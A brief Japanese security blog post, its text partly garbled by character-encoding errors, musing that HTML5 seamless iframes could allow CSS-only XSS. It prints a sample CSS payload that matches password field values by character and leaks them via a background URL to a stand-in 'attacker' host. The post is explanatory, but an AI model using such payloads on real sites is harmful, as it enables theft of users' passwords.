pure css-based XSS attacks ? - hoshikuzu | star_dust ã®æ›¸æ–Žpure css-based XSS attacks ?<style>input[name=password][value*=a]{ background:url('//attacker?log[]=a'); }</style> <iframe seamless src=â€login.aspâ€/> HTML5 includes "seamless" iframes could allow for pure css-based XSS attacks ã“ã®ã‚ˆã†ãªãƒ™ã‚¯ã‚¿ãŒã‚‚ã—ã‚‚è¿‘ã„å°†æ¥ã«ãŠã„ã¦å®Ÿç¾ã™ã‚‹ãªã‚‰ã°æ¥µã‚ã¦å‰£å‘‘ã§ã™ã€‚ã¾ã€XSSãŒæˆç«‹ã™ã‚‹ãªã‚‰formã®ä¸ã®inputè¦ç´ ã®ä¸èº«ãŒæ¼æ´©ã™ã‚‹ã®ã¯å½“然ã¨ã—ã¦ã€JavaScriptç„¡ã—ã§ã‚‚炸裂ã—ã¦ã—ã¾ã†ã‚ãŸã‚ŠãŒå«Œãªã¨ã“ã‚ãªã®ã§ã™ã‚ˆã。
Underconstruction by Taiyo@hatena
JVN#465742E4 Wiki クãƒãƒ¼ãƒ³ã«ãŠã‘るクãƒã‚¹ã‚µã‚¤ãƒˆã‚¹ã‚¯ãƒªãƒ—ティングã®è„†å¼±æ€§
{{#tags}}- {{label}}
{{/tags}}